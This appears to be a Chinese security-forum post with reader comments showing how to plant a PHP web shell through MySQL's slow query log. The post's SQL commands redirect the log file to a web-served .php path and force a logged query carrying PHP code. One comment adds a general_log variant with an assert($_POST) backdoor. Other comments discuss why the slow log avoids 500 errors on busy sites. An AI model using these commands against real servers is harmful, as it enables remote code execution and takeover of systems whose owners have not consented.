MySql慢查询日志GetShell

2019-07-27 13:06:39 32 10557 4
通过开启慢查询日志,配置可解析文件GETSHELL
主要针对日志量庞大,通过日志文件GETSHELL出现问题的情况
show variables like '%slow%';

Variable_name         Value
log_slow_queries         OFF
slow_launch_time         2
slow_query_log         OFF
slow_query_log_file         C:\phpStudy\PHPTutorial\MySQL\data\WIN-374NAWYudt-slow.log


set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;

/*set GLOBAL log_queries_not_using_indexes=on;
show variables like '%log%';*/

select '<?php phpinfo();?>' from mysql.db where sleep(10);

关于作者

键盘手23篇文章232篇回复

评论32次

要评论?请先  登录  或  注册
  • TOP1
    2019-7-27 15:11

    MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句,long_query_time的默认值为10,意思是运行10S以上的语句。该值可以指定为微秒的分辨率。具体指运行时间超过long_query_time值的SQL,则会被记录到慢查询日志中。对日志量庞大,通过日志文件GETSHELL确实是一种帮助. mark

  • TOP2
    2019-7-27 16:48

    告诉大家个好消息,北京申奥成功了

  • 32楼
    2019-10-24 11:11

    感谢分享,虽然我遇到的是Variable_name Value log_slow_queries OFF slow_launch_time 2

  • 31楼
    2019-10-13 14:50

    都不知道你们在喷什么?

  • 30楼
    2019-10-13 09:53
    赢时胜流光

    set global general_log='on';SET global general_log_file='D:/phpStudy/WWW/cmd.php';SELECT '<?php assert($_POST);?>';跟以前那个代码不一样的啊好吧set GLOBAL slow_query_log=on;set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';/*set GLOBAL log_queries_not_using_indexes=on;show variables like '%log%';*/select '<?php phpinfo();?>' from mysql.db where sleep(10);

    1

    又多了一种利用套路

  • 29楼
    2019-8-20 07:46

    这么来看的话 应该所有mysql可以导出的语句都可以getshell

  • 28楼
    2019-8-19 23:47

    很久之前看过...

  • 27楼
    2019-8-19 11:12

    你们别再说和以前那个没有区别了,实际区直接影响了最终getshell的成果,有的网站SQL执行量大以往的方法经常导致页面500 但是这个方法的话只记录了超时10s的SQL,这样页面的代码量会减轻很多不易导致500

  • 26楼
    2019-8-16 09:22

    你以为换个马甲就不认识你了么?mysql日志文件getshell,这个很早就有了这个很早就有了

  • 25楼
    2019-8-15 15:51

    TOP1正解,slow log的方式,体积更小,响应更快

  • 24楼
    2019-8-1 10:05

    和普通的日志getshell相比,慢查询产生的日志比较少

  • 23楼
    2019-8-1 09:44

    不错……

  • 22楼
    2019-8-1 09:30

    emmm,也不知道大家在吵什么,虽然之前知道了日志getshell,但是这次反正我是第一次知道慢查询getshell

  • 21楼
    2019-7-28 23:11

    感谢分享,亲测好用,加上Sleep过滤了大量的日志

  • 20楼
    2019-7-28 15:22

    服了这群人,麻烦仔细看看人家楼主发表的文章在放屁好吗?...人家楼主说的是一个技巧 可以避免日志过大导致写SHELL失败的技巧

  • 19楼
    2019-7-28 12:58

    这个和设置日志记录写shell有什么区别吗

  • 18楼
    2019-7-28 12:11

    都不看清楚的吗,慢日志getshell,审题,审题,要是数据库业务大的网站,几秒钟查询日志就炸了,你的shell直接500错误,通过慢日志可以避免这个问题,是个实用小技巧,有些人题目都不看清就在那瞎几把乱喷

  • 17楼
    2019-7-28 11:34

    类似下面的应该也可以

    SELECT .... FROM ... INTO OUTFILE 

  • 16楼
    2019-7-28 09:29

    日志getshell的手法挺多的,常常提及,不至忘却,也挺好。

  • 15楼
    2019-7-28 02:52

    mark 确实很多插入日志会500 这个可能有效

  • 14楼
    2019-7-28 00:07

    学xi了,和日志查询的还是有一点区别。

  • 13楼
    2019-7-28 00:04

    几百年前的姿势了,